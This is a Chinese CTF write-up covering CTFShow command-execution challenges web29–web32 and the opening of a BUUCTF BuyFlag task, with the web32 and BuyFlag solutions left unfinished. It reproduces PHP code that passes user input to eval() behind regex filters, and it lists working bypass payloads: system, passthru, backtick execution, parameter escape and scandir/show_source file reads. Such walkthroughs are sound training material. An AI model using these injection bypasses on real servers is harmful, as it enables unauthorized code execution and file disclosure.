以为一些特殊的变故,BUUCTF平台的靶机又又又又崩了,这次讲平台换成了CTFShow。
大部分以白盒审计为主。
CTFSHOW题目之命令执行: web29 原始信息 if (isset ($_GET ['c' ])){ $c = $_GET ['c' ]; if (!preg_match ("/flag/i" , $c )){ eval ($c ); } }else { highlight_file (__FILE__ ); }
唯一的过滤 这里过滤用到的是正则表达式的preg_match过滤,但仅仅过滤一个字符串flag,所以解题的方法很简单:
首先得到列表: ?c=system ('ls' ); index.php flag.php 然后返回flag: ?c=system ('tac fla*' ); $flag = 'ctfshow{4f4f8ebc-f45a-404e-bf93-f603de2221a0}' ; */
第一题往往是最简单的啦~
web30 原始信息 if (isset ($_GET ['c' ])){ $c = $_GET ['c' ]; if (!preg_match ("/flag|system|php/i" , $c )){ eval ($c ); } }else { highlight_file (__FILE__ ); }
解题 过滤的信息增加了,这次过滤掉了常用的system,解开的办法自然就是:尝试任何绕开限制的函数。
?c=echo `nl fl'' ag.p'' hp`; ?c=passthru ('tac f*' );
收获 下面的是执行外部命令的函数,一般遇到的都是Linux命令。
类似 system () 功能的php执行函数: exec ()、shell_exec ()、passthru () 和 system () proc_open () popen ()另外: ``, $()
web31 原始信息 if (isset ($_GET ['c' ])){ $c = $_GET ['c' ]; if (!preg_match ("/flag|system|php|cat|sort|shell|\.| |\'/i" , $c )){ eval ($c ); } }else { highlight_file (__FILE__ ); }
解题 和上面一样,增加了正则表达式的限制函数以及特殊符号,大概解释下这些都是什么东西:
"/flag|system|php|cat|sort|shell|\.| |\'/i" 限制的字符串: flag,php,空格,. ,',shell ' 限制的函数: system 执行命令用的 cat 回显文件内容的 sort 排序函数
get参数逃逸 和前面一样,一般有很多解法,这里使用的是get参数逃逸,还有官方提到的那个不知道是什么的wp
参数逃逸: 表面一看都知道这是什么意思,不多做解释了。 ?c=eval ($_GET [1 ]);&1 =system ('tac flag*' ); 官方WP ?c=show_source (next (array_reverse (scandir (pos (localeconv ()))))); scandir () 函数: scandir () 函数用于扫描指定目录,并返回该目录中的文件和子目录列表。 它接受一个字符串参数,表示要扫描的目录路径。 在这个代码中,scandir (pos (localeconv ())) 将会扫描 localeconv () 返回的 "LC_TIME" 字段所指定的目录, 并返回目录中的文件和子目录列表。 array_reverse () 函数: array_reverse () 函数会将数组中的元素顺序反转。 在这个代码中,array_reverse (scandir (pos (localeconv ()))) 将会反转 scandir () 返回的目录列表,使得列表中的元素逆序排列。 next () 函数: next () 函数用于将数组的内部指针移动到下一个元素,并返回当前元素的值。 在这个代码中,next (array_reverse (scandir (pos (localeconv ())))) 将返回逆序后目录列表的第一个元素。 show_source () 函数: show_source () 函数会读取指定文件的内容,并将其作为纯文本显示在页面上。 它接受一个字符串参数,表示要显示源代码的文件路径。 在这个代码中,show_source (next (array_reverse (scandir (pos (localeconv ()))))) 将会显示逆序后目录列表的第一个文件的源代码。 pos (localeconv ()) 是一个函数调用,用于获取当前的本地化设置中的 "LC_TIME" 字段的值。以下是对该部分代码的详细解析: localeconv () 函数: localeconv () 是 PHP 的一个内置函数,用于获取当前的本地化设置。 它返回一个关联数组,包含与当前本地化设置相关的各种数值格式选项。 本例中使用 localeconv () 的目的是访问该数组中的 "LC_TIME" 字段。 "LC_TIME" 字段: "LC_TIME" 字段是 localeconv () 返回的关联数组中的一个键名(key name)。 它表示与时间和日期格式相关的本地化信息。 其中,pos (localeconv ()返回的是当前目录 "." 剩下的,就是查目录,转为数组,把数组顺序翻转,读取文件。
根据上面还能衍生出一些常用函数的解法:
?c=var_dump (file_get_contents (scandir (pos (localeconv ()))[2 ])); ?c=var_dump (file_get_contents (scandir (chr (46 ))[2 ])); ?c=highlight_file (scandir (chr (46 ))[2 ]);
收获 这里的收获挺多的,一个是get参数逃逸,另一个是常用函数的另外一种写法挖掘flag。
参数逃逸形如: ?a=$_GET [1 ];&1 =system ('tac fla*' ); 其它常见函数,例如代码高亮显示和var_dump展示数据等。
web32 原设信息 if (isset ($_GET ['c' ])){ $c = $_GET ['c' ]; if (!preg_match ("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i" , $c )){ eval ($c ); } }else { highlight_file (__FILE__ ); }
解题 之前的所有方法都有一个缺陷,依赖的都是括号。
BUUCTF [极客大挑战 2019]BuyFlag 原始信息 除去了从找到两个前端网页外,发现了这个源代码:
~~~post money and password~~~ if (isset ($_POST ['password' ])) { $password = $_POST ['password' ]; if (is_numeric ($password )) { echo "password can't be number</br>" ; }elseif ($password == 404 ) { echo "Password Right!</br>" ; } }
还有网页提示的什么一个亿和学生的身份。
Flag need your 100000000 money attention If you want to buy the FLAG: You must be a student from CUIT!!! You must be answer the correct password!!! Only Cuit's students can buy the FLAG
解题